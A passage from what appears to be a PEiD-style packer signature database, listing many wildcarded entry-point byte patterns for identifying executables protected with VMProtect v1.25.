06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 